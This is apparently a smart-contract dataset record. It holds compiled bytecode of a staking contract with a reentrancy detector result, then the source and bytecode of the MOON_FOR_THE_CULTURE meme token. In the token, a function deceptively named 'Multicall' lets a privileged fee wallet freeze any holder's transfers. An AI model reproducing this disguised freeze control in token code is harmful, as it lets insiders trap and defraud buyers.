776e657281525060200191505060405180910390fd5b6111fe8161168f565b50565b600061124383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117d3565b905092915050565b60008083141561125e57600090506112cb565b600082840290508284828161126f57fe5b04146112c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611d7e6021913960400191505060405180910390fd5b809150505b92915050565b600061131383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611893565b905092915050565b600080828401905083811015611399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6113b88160025461120190919063ffffffff16565b60028190555061141081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114a03382600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114a39092919063ffffffff16565b50565b61156f838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611959565b505050565b60008183106115835781611585565b825b905092915050565b6115a28160025461131b90919063ffffffff16565b6002819055506115fa81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131b90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061168c333083600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611ba4909392919063ffffffff16565b50565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611715576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611d2e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000838311158290611880576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561184557808201518184015260208101905061182a565b50505050905090810190601f1680156118725780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808311829061193f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119045780820151818401526020810190506118e9565b50505050905090810190601f1680156119315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161194b57fe5b049050809150509392505050565b6119788273ffffffffffffffffffffffffffffffffffffffff16611caa565b6119ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310611a395780518252602082019150602081019050602083039250611a16565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611a9b576040519150601f19603f3d011682016040523d82523d6000602084013e611aa0565b606091505b509150915081611b18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115611b9e57808060200190516020811015611b3757600080fd5b8101908080519060200190929190505050611b9d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611d9f602a913960400191505060405180910390fd5b5b50505050565b611ca4848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611959565b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b8214158015611cec5750808214155b9250505091905056fe43616e6e6f74206e6f7469667920756e74696c2070726576696f7573207265776172642073657373696f6e20697320636f6d706c657465644f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737342554e445f42554e444e4654207374616b696e6720706f6f6c206e6f742073746172746564207965742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a723158205e477e4d41d71d411ac38b07e72e43e271032078671878cb2f27b198d93724ac64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
8,860
0x163a3d89476fa1cfdcf170106d9efd6b85451ce9
/** *Submitted for verification at Etherscan.io on 2022-04-25 */ // SPDX-License-Identifier: MIT // DONT USE BOT OR YOU WILL BE REKT // LOW TAX FEE : 1/1% // MAX TX 1.5% // MAX WALLET 3% pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MOON_FOR_THE_CULTURE is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"MOON_FOR_THE_CULTURE"; //// string public constant symbol = unicode"MFTC"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable private _FeeAddress1; address payable private _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 1; uint public _sellFee = 1; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "ERC20: transfer from frozen wallet."); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (15 minutes)) { fee += 5; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 15000000000 * 10**9; // 1.5% _maxHeldTokens = 30000000000 * 10**9; // 3% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); require(buy <= 10); require(sell <= 10); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function Multicall(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105aa578063db92dbb6146105bf578063dcb0e0ad146105d4578063dd62ed3e146105f4578063e8078d941461063a57600080fd5b806395d89b411461052f578063a9059cbb1461055f578063b2131f7d1461057f578063c3c8cd801461059557600080fd5b8063715018a6116100dc578063715018a6146104bc5780637a49cddb146104d15780638da5cb5b146104f157806394b8d8f21461050f57600080fd5b80635090161714610451578063590f897e146104715780636fc3eaec1461048757806370a082311461049c57600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103aa57806340b9a54b146103e357806345596e2e146103f957806349bd5a5e1461041957600080fd5b806327f3a72a14610338578063313ce5671461034d57806331c2d8471461037457806332d873d81461039457600080fd5b80630b78f9c0116101c15780630b78f9c0146102c657806318160ddd146102e65780631940d0201461030257806323b872dd1461031857600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f614610274578063095ea7b31461029657600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b50610267604051806040016040528060148152602001734d4f4f4e5f464f525f5448455f43554c5455524560601b81525081565b60405161021e9190611bd3565b34801561028057600080fd5b5061029461028f366004611c4d565b61064f565b005b3480156102a257600080fd5b506102b66102b1366004611c6a565b6106c4565b604051901515815260200161021e565b3480156102d257600080fd5b506102946102e1366004611c96565b6106da565b3480156102f257600080fd5b50683635c9adc5dea00000610214565b34801561030e57600080fd5b50610214600f5481565b34801561032457600080fd5b506102b6610333366004611cb8565b61075d565b34801561034457600080fd5b50610214610845565b34801561035957600080fd5b50610362600981565b60405160ff909116815260200161021e565b34801561038057600080fd5b5061029461038f366004611d0f565b610855565b3480156103a057600080fd5b5061021460105481565b3480156103b657600080fd5b506102b66103c5366004611c4d565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103ef57600080fd5b50610214600b5481565b34801561040557600080fd5b50610294610414366004611dd4565b6108e1565b34801561042557600080fd5b50600a54610439906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045d57600080fd5b5061029461046c366004611c4d565b6109a5565b34801561047d57600080fd5b50610214600c5481565b34801561049357600080fd5b50610294610a13565b3480156104a857600080fd5b506102146104b7366004611c4d565b610a40565b3480156104c857600080fd5b50610294610a5b565b3480156104dd57600080fd5b506102946104ec366004611d0f565b610acf565b3480156104fd57600080fd5b506000546001600160a01b0316610439565b34801561051b57600080fd5b506011546102b69062010000900460ff1681565b34801561053b57600080fd5b50610267604051806040016040528060048152602001634d46544360e01b81525081565b34801561056b57600080fd5b506102b661057a366004611c6a565b610bde565b34801561058b57600080fd5b50610214600d5481565b3480156105a157600080fd5b50610294610beb565b3480156105b657600080fd5b50610294610c21565b3480156105cb57600080fd5b50610214610cc4565b3480156105e057600080fd5b506102946105ef366004611dfb565b610cdc565b34801561060057600080fd5b5061021461060f366004611e18565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064657600080fd5b50610294610d59565b6008546001600160a01b0316336001600160a01b03161461066f57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106d13384846110a0565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106fa57600080fd5b600a82111561070857600080fd5b600a81111561071657600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561078b57506001600160a01b03831660009081526004602052604090205460ff16155b80156107a45750600a546001600160a01b038581169116145b156107f3576001600160a01b03831632146107f35760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107fe8484846111c4565b6001600160a01b038416600090815260036020908152604080832033845290915281205461082d908490611e67565b905061083a8533836110a0565b506001949350505050565b600061085030610a40565b905090565b6008546001600160a01b0316336001600160a01b03161461087557600080fd5b60005b81518110156108dd5760006006600084848151811061089957610899611e7e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108d581611e94565b915050610878565b5050565b6000546001600160a01b0316331461090b5760405162461bcd60e51b81526004016107ea90611ead565b6008546001600160a01b0316336001600160a01b03161461092b57600080fd5b600081116109705760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107ea565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106b9565b6009546001600160a01b0316336001600160a01b0316146109c557600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106b9565b6008546001600160a01b0316336001600160a01b031614610a3357600080fd5b47610a3d81611832565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a855760405162461bcd60e51b81526004016107ea90611ead565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610aef57600080fd5b60005b81518110156108dd57600a5482516001600160a01b0390911690839083908110610b1e57610b1e611e7e565b60200260200101516001600160a01b031614158015610b6f575060075482516001600160a01b0390911690839083908110610b5b57610b5b611e7e565b60200260200101516001600160a01b031614155b15610bcc57600160066000848481518110610b8c57610b8c611e7e565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bd681611e94565b915050610af2565b60006106d13384846111c4565b6008546001600160a01b0316336001600160a01b031614610c0b57600080fd5b6000610c1630610a40565b9050610a3d816118b7565b6000546001600160a01b03163314610c4b5760405162461bcd60e51b81526004016107ea90611ead565b60115460ff1615610c985760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107ea565b6011805460ff191660011790554260105567d02ab486cedc0000600e556801a055690d9db80000600f55565b600a54600090610850906001600160a01b0316610a40565b6000546001600160a01b03163314610d065760405162461bcd60e51b81526004016107ea90611ead565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106b9565b6000546001600160a01b03163314610d835760405162461bcd60e51b81526004016107ea90611ead565b60115460ff1615610dd05760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107ea565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e0d3082683635c9adc5dea000006110a0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f9190611ee2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ebc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee09190611ee2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f519190611ee2565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f8181610a40565b600080610f966000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ffe573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110239190611eff565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561107c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dd9190611f2d565b6001600160a01b0383166111025760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ea565b6001600160a01b0382166111635760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ea565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112285760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ea565b6001600160a01b03821661128a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ea565b600081116112ec5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ea565b6001600160a01b03831660009081526006602052604090205460ff16156113615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107ea565b600080546001600160a01b0385811691161480159061138e57506000546001600160a01b03848116911614155b156117d357600a546001600160a01b0385811691161480156113be57506007546001600160a01b03848116911614155b80156113e357506001600160a01b03831660009081526004602052604090205460ff16155b1561166f5760115460ff1661143a5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107ea565b60105442036114795760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107ea565b42601054610e1061148a9190611f4a565b111561150457600f5461149c84610a40565b6114a69084611f4a565b11156115045760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107ea565b6001600160a01b03831660009081526005602052604090206001015460ff1661156c576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42601054607861157c9190611f4a565b111561165057600e548211156115d45760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107ea565b6115df42600f611f4a565b6001600160a01b038416600090815260056020526040902054106116505760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107ea565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611689575060115460ff165b80156116a35750600a546001600160a01b03858116911614155b156117d3576116b342600f611f4a565b6001600160a01b038516600090815260056020526040902054106117255760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107ea565b600061173030610a40565b905080156117bc5760115462010000900460ff16156117b357600d54600a5460649190611765906001600160a01b0316610a40565b61176f9190611f62565b6117799190611f81565b8111156117b357600d54600a546064919061179c906001600160a01b0316610a40565b6117a69190611f62565b6117b09190611f81565b90505b6117bc816118b7565b4780156117cc576117cc47611832565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061181557506001600160a01b03841660009081526004602052604090205460ff165b1561181e575060005b61182b8585858486611a2b565b5050505050565b6008546001600160a01b03166108fc61184c600284611f81565b6040518115909202916000818181858888f19350505050158015611874573d6000803e3d6000fd5b506009546001600160a01b03166108fc61188f600284611f81565b6040518115909202916000818181858888f193505050501580156108dd573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118fb576118fb611e7e565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611954573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119789190611ee2565b8160018151811061198b5761198b611e7e565b6001600160a01b0392831660209182029290920101526007546119b191309116846110a0565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119ea908590600090869030904290600401611fa3565b600060405180830381600087803b158015611a0457600080fd5b505af1158015611a18573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a378383611a4d565b9050611a4586868684611a94565b505050505050565b6000808315611a8d578215611a655750600b54611a8d565b50600c54601054611a7890610384611f4a565b421015611a8d57611a8a600582611f4a565b90505b9392505050565b600080611aa18484611b71565b6001600160a01b0388166000908152600260205260409020549193509150611aca908590611e67565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611afa908390611f4a565b6001600160a01b038616600090815260026020526040902055611b1c81611ba5565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b6191815260200190565b60405180910390a3505050505050565b600080806064611b818587611f62565b611b8b9190611f81565b90506000611b998287611e67565b96919550909350505050565b30600090815260026020526040902054611bc0908290611f4a565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c0057858101830151858201604001528201611be4565b81811115611c12576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3d57600080fd5b8035611c4881611c28565b919050565b600060208284031215611c5f57600080fd5b8135611a8d81611c28565b60008060408385031215611c7d57600080fd5b8235611c8881611c28565b946020939093013593505050565b60008060408385031215611ca957600080fd5b50508035926020909101359150565b600080600060608486031215611ccd57600080fd5b8335611cd881611c28565b92506020840135611ce881611c28565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d2257600080fd5b823567ffffffffffffffff80821115611d3a57600080fd5b818501915085601f830112611d4e57600080fd5b813581811115611d6057611d60611cf9565b8060051b604051601f19603f83011681018181108582111715611d8557611d85611cf9565b604052918252848201925083810185019188831115611da357600080fd5b938501935b82851015611dc857611db985611c3d565b84529385019392850192611da8565b98975050505050505050565b600060208284031215611de657600080fd5b5035919050565b8015158114610a3d57600080fd5b600060208284031215611e0d57600080fd5b8135611a8d81611ded565b60008060408385031215611e2b57600080fd5b8235611e3681611c28565b91506020830135611e4681611c28565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e7957611e79611e51565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611ea657611ea6611e51565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ef457600080fd5b8151611a8d81611c28565b600080600060608486031215611f1457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f3f57600080fd5b8151611a8d81611ded565b60008219821115611f5d57611f5d611e51565b500190565b6000816000190483118215151615611f7c57611f7c611e51565b500290565b600082611f9e57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ff35784516001600160a01b031683529383019391830191600101611fce565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212207b97c10ff922d39b6922374c34611d63ae318de9eec5ad711a2948c952b51d5464736f6c634300080d0033
